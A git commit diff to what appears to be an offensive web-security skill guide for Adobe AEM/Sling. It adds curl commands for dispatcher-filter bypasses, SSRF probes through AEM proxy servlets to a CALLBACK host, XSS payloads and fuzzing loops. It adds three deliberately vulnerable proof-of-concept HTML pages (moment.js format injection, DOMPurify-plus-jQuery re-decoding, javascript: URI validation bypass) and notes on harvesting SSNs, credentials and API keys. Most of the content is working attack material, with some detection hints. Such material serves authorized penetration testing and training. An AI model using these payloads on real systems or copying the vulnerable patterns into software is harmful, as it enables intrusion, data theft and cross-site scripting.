chore: enhance adobe aem skills and pocs for web

capabilities/web-security/skills/aem-sling-exploitation/SKILL.md

@@ -130,15 +130,15 @@ curl -sk "https://TARGET/etc/packages.json"
 curl -sk "https://TARGET/crx/packmgr/list.jsp"
 ```
 
-**Sensitive data locations:** Employee lists with SSNs, plaintext credentials, IP inventories, architecture docs, and "strictly confidential" documents regularly found under `/content` and `/content/dam`.
+**Sensitive data locations:** Employee lists with SSNs, plaintext credentials, IP inventories, architecture docs, and "strictly confidential" documents regularly found under `/content`, `/content/dam`, and `/var`. Financial institutions: pre-disclosure earnings reports in `/content` = insider-trading-grade impact. `/etc/packages` may contain source code, DB credentials, and API keys (Akamai keys = full WAF control + origin pivoting).
 
 ## 5. Default permissions footgun
 
 The anonymous user belongs to the `everyone` group by default. Every "open to all users" JCR ACL also applies to unauthenticated visitors. Test:
 
 ```bash
-# Check anonymous access to /libs, /apps, /etc
-for path in /libs /apps /etc /content /home; do
+# Check anonymous access to /libs, /apps, /etc, /var
+for path in /libs /apps /etc /content /home /var; do
   code=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET${path}.1.json")
   echo "$path → $code"
 done
@@ -192,9 +192,9 @@ See [xss-gadgets.md](xss-gadgets.md) for moment.js format injection, jQuery `.te
 **Key check:** If dispatcher blocks are the only defense, they can be bypassed. If JCR ACLs are in place, selector abuse hits 403 at the Sling layer — game over.
 
 ## Chain With
+- `hopgoblin` (automated CVE scan first, then manual exploitation here)
 - `apache-confusion-attacks` (if Apache httpd fronts AEM dispatcher)
 - `403-bypass` (dispatcher returns 403, try header/path manipulation)
 - `dom-vulnerability-detection` (for AEM-specific XSS gadgets in client JS)
 - `parser-differential-bypass` (dispatcher vs Sling parsing differences)
 - `write-path-to-rce` (if file write is achievable on AMS instances)
-- **hopgoblin** (external tool) — automated AEM CVE scanner, run first for known vulns

capabilities/web-security/skills/aem-sling-exploitation/dispatcher-bypass-patterns.md

@@ -3,19 +3,62 @@
 When direct paths are blocked, use selector/suffix manipulation:
 
 ```bash
-# Extension confusion
+# Extension confusion — dispatcher allows static extensions, Sling drops unrecognized ones
 curl -sk "https://TARGET/bin/querybuilder.json"        # blocked
 curl -sk "https://TARGET/content/dam.form.css/bin/querybuilder.json"  # bypass via form suffix
+curl -sk "https://TARGET/libs/dam/merge/metadata.css?path=/etc"      # extension confusion on merge servlet
+curl -sk "https://TARGET/libs/dam/merge/metadata.css?path=<img+src=x+onerror=alert(1)>&.html"  # force HTML via suffix
 
 # Selector stacking
 curl -sk "https://TARGET/content/page.listParagraphs.html"  # blocked
 curl -sk "https://TARGET/content/page.form.js/content/page.listParagraphs.html"  # form → listParagraphs
 
-# Path encoding
+# Double bypass chain anatomy:
+# /content/site/page.form.js/content/site/page.listParagraphs.html?itemResourceType=...&path=<XSS>
+# ├─ Dispatcher sees ".form.js" (allowed static extension) ──────────────────────────────────────┐
+# ├─ Sling forwards suffix as new request path: /content/site/page.listParagraphs.html           │
+# └─ listParagraphs resolves /libs JSP internally (second bypass) ──── XSS executes ─────────────┘
+
+# Encoded slash bypass (%2F) — bypasses dispatcher path filters
+curl -sk "https://TARGET/%2fbin%2fquerybuilder.json?path=/etc"
+curl -sk "https://TARGET/%2fetc%2ftruststore.json"
+
+# Path encoding variants
 curl -sk "https://TARGET/content/dam.form.css/bin/querybuilder.json"
 curl -sk "https://TARGET/content/dam.form.css/%62in/querybuilder.json"
 
 # Semicolon path parameters (Sling ignores, dispatcher may not parse)
 curl -sk "https://TARGET/bin/querybuilder.json;.css"
 curl -sk "https://TARGET/bin/querybuilder.json;x=.ico"
 ```
+
+## SSRF via AEM Proxy Servlets
+
+```bash
+# Opensocial/Shindig proxy (common on older AEM)
+curl -sk "https://TARGET/libs/opensocial/proxy?container=default&url=http://CALLBACK"
+curl -sk "https://TARGET/libs/shindig/proxy?container=default&url=http://CALLBACK"
+
+# ReportingServicesProxyServlet (CVE-2018-12809)
+curl -sk "https://TARGET/libs/ca/contentinsight/content/proxy.reportingservices.json?url=http://CALLBACK"
+curl -sk "https://TARGET/libs/mcm/salesforce/customer.json?checkType=authorize&authorization_url=http://CALLBACK"
+
+# SiteCatalystServlet SSRF
+curl -sk "https://TARGET/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet"
+curl -sk "https://TARGET/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json"
+```
+
+## Error-Path Selector Chaining Strategy
+
+When one selector is blocked by dispatcher rules, fuzz for a second selector producing reflection on a different error code path. Different HTTP status codes (400, 403, 404, 500) may route through different error handlers with different filtering:
+
+```bash
+# If rawcontent alone is blocked, savedsearch produces 400 errors with path reflection
+curl -sk "https://TARGET/content/nonexistent.savedsearch.rawcontent.html"
+
+# Brute-force error-path selectors
+for sel in savedsearch feed model tidy childrenlist; do
+  code=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/content/nonexistent.${sel}.rawcontent.html")
+  echo "$sel → $code"
+done
+```

capabilities/web-security/skills/aem-sling-exploitation/pocs/javascript-uri-validation-bypass.html

@@ -0,0 +1,45 @@
+<!DOCTYPE html>
+<html>
+<head>
+</head>
+<body>
+  <div class="poc-container">
+    <h1 class="poc-title">URL XSS Tester</h1>
+    <div class="poc-controls">
+      <input id="test" type="text" placeholder="Enter a URL to test" />
+      <button id="submit">Submit</button>
+    </div>
+    <div id="output"></div>
+  </div>
+
+  <script>
+    function runTest(value) {
+      let parsed;
+      try { parsed = new URL(value); } catch (e) { return; }
+
+      if (parsed.hostname === 'example.com' && parsed.pathname.startsWith('/anything')) {
+        window.open(value);
+      }
+
+      const params = new URLSearchParams(window.location.search);
+      params.set('value', value);
+      history.replaceState(null, '', '?' + params.toString());
+    }
+
+    document.getElementById('submit').addEventListener('click', function () {
+      runTest(document.getElementById('test').value);
+    });
+
+    document.getElementById('test').addEventListener('keydown', function (e) {
+      if (e.key === 'Enter') runTest(this.value);
+    });
+
+    const params = new URLSearchParams(window.location.search);
+    const qsValue = params.get('value');
+    if (qsValue !== null) {
+      document.getElementById('test').value = qsValue;
+      runTest(qsValue);
+    }
+  </script>
+</body>
+</html>

capabilities/web-security/skills/aem-sling-exploitation/pocs/jquery-text-dompurify-bypass.html

@@ -0,0 +1,47 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
+  <script src="https://cdn.jsdelivr.net/npm/dompurify@3.1.5/dist/purify.min.js"></script>
+</head>
+<body>
+  <div class="poc-container">
+    <h1 class="poc-title">Text XSS Tester</h1>
+    <div class="poc-controls">
+      <input id="test" type="text" placeholder="Enter a value to test" />
+      <button id="submit">Submit</button>
+    </div>
+    <div id="output"></div>
+  </div>
+
+  <script>
+    function runTest(value) {
+      const cleanValue = DOMPurify.sanitize(value);
+      const $clean = $('<div>' + cleanValue + '</div>');
+      const text = $clean.text();
+      document.getElementById('output').innerHTML = text;
+
+      const params = new URLSearchParams(window.location.search);
+      params.set('value', value);
+      history.replaceState(null, '', '?' + params.toString());
+    }
+
+    $('#submit').on('click', function () {
+      runTest($('#test').val());
+    });
+
+    $('#test').on('keydown', function (e) {
+      if (e.key === 'Enter') {
+        runTest($(this).val());
+      }
+    });
+
+    const params = new URLSearchParams(window.location.search);
+    const qsValue = params.get('value');
+    if (qsValue !== null) {
+      $('#test').val(qsValue);
+      runTest(qsValue);
+    }
+  </script>
+</body>
+</html>

capabilities/web-security/skills/aem-sling-exploitation/pocs/moment-format-xss.html

@@ -0,0 +1,51 @@
+<!DOCTYPE html>
+<html>
+<head>
+    <title>Just a moment...</title>
+    <script src="https://cdn.jsdelivr.net/npm/moment@2.29.4/moment.min.js"></script>
+</head>
+<body>
+
+<div class="card">
+    <h2>Date Formatter</h2>
+
+    <form method="GET">
+        <label>Date</label>
+        <input type="date" id="dateInput" name="date">
+
+        <label>Format</label>
+        <select id="formatSelect" name="format">
+            <option value="DD/MM/YYYY">DD/MM/YYYY</option>
+            <option value="MM/DD/YYYY">MM/DD/YYYY</option>
+            <option value="YYYY-MM-DD">YYYY-MM-DD</option>
+            <option value="dddd, MMMM Do YYYY">Full textual</option>
+            <option value="MMM Do, YYYY">Short textual</option>
+        </select>
+
+        <button type="submit">Format Date</button>
+    </form>
+
+    <div class="output" id="output"></div>
+</div>
+
+<script>
+    const params = new URLSearchParams(window.location.search);
+
+    const today = moment().format("YYYY-MM-DD");
+    const defaultFormat = "DD/MM/YYYY";
+
+    const dateParam = params.get("date") || today;
+    const formatParam = params.get("format") || defaultFormat;
+
+    document.getElementById("dateInput").value = dateParam;
+    document.getElementById("formatSelect").value = formatParam;
+
+    // Use query string params directly for formatting
+    const formatted = moment(dateParam).format(formatParam);
+
+    // Yeah innerHTML is bad....but it's a formatted date. So 100% super safe.
+    document.getElementById("output").innerHTML = formatted;
+</script>
+
+</body>
+</html>

capabilities/web-security/skills/aem-sling-exploitation/xss-gadgets.md

@@ -1,12 +1,19 @@
 # AEM-Specific XSS Gadgets
 
+These gadgets apply to AEM sites and beyond — any webapp using these libraries. Source: Jim Green (600+ AEM CVEs).
+
 ### moment.js format injection
 If user input controls `moment().format()` argument and output hits innerHTML:
 ```javascript
 moment().format("[<img src=x onerror=alert(document.domain)>]")
 // Square brackets = literal output in moment.js format strings
+// moment.js is deprecated but extremely common in AEM clientlibs
 ```
 
+**Detection:** Search AEM clientlibs for `moment(` imports. Check if any format string derives from user input (URL params, form fields, API responses).
+
+**PoC:** [moment-format-xss.html](pocs/moment-format-xss.html) — loads moment.js from CDN, format param from query string.
+
 ### jQuery .text() entity re-decoding
 Post-DOMPurify bypass chain:
 ```javascript
@@ -20,6 +27,12 @@ el.innerHTML = text;                              // re-parses as HTML → XSS
 // DOMPurify sees entities (safe) → browser decodes → .text() reads raw tags → innerHTML executes
 ```
 
+**Detection:** Search AEM clientlibs for `DOMPurify.sanitize` followed by `.text()` or `.textContent` flowing back into `innerHTML`, `.html()`, or `document.write`. Also check `.val()` reads that get re-rendered.
+
+**Key insight:** "Always check what happens to sanitized output when read back via `.text()`, `.val()`, `.textContent`"
+
+**PoC:** [jquery-text-dompurify-bypass.html](pocs/jquery-text-dompurify-bypass.html) — DOMPurify + jQuery `.text()` chain.
+
 ### javascript: URI property population
 ```javascript
 let u = new URL("javascript://example.com:443/path?key=val#frag%0aalert(document.domain)");
@@ -28,3 +41,7 @@ let u = new URL("javascript://example.com:443/path?key=val#frag%0aalert(document
 // u.port === "443"                (passes port checks)
 // After javascript: scheme is stripped, // starts a JS single-line comment. %0a newline ends it. Code after executes.
 ```
+
+**Detection:** Search for `new URL(` combined with hostname/pathname validation before `window.open()`, `location.href`, or link `href` assignment. Common in redirect handlers and OAuth flows on AEM sites.
+
+**PoC:** [javascript-uri-validation-bypass.html](pocs/javascript-uri-validation-bypass.html) — URL constructor validation + `window.open`.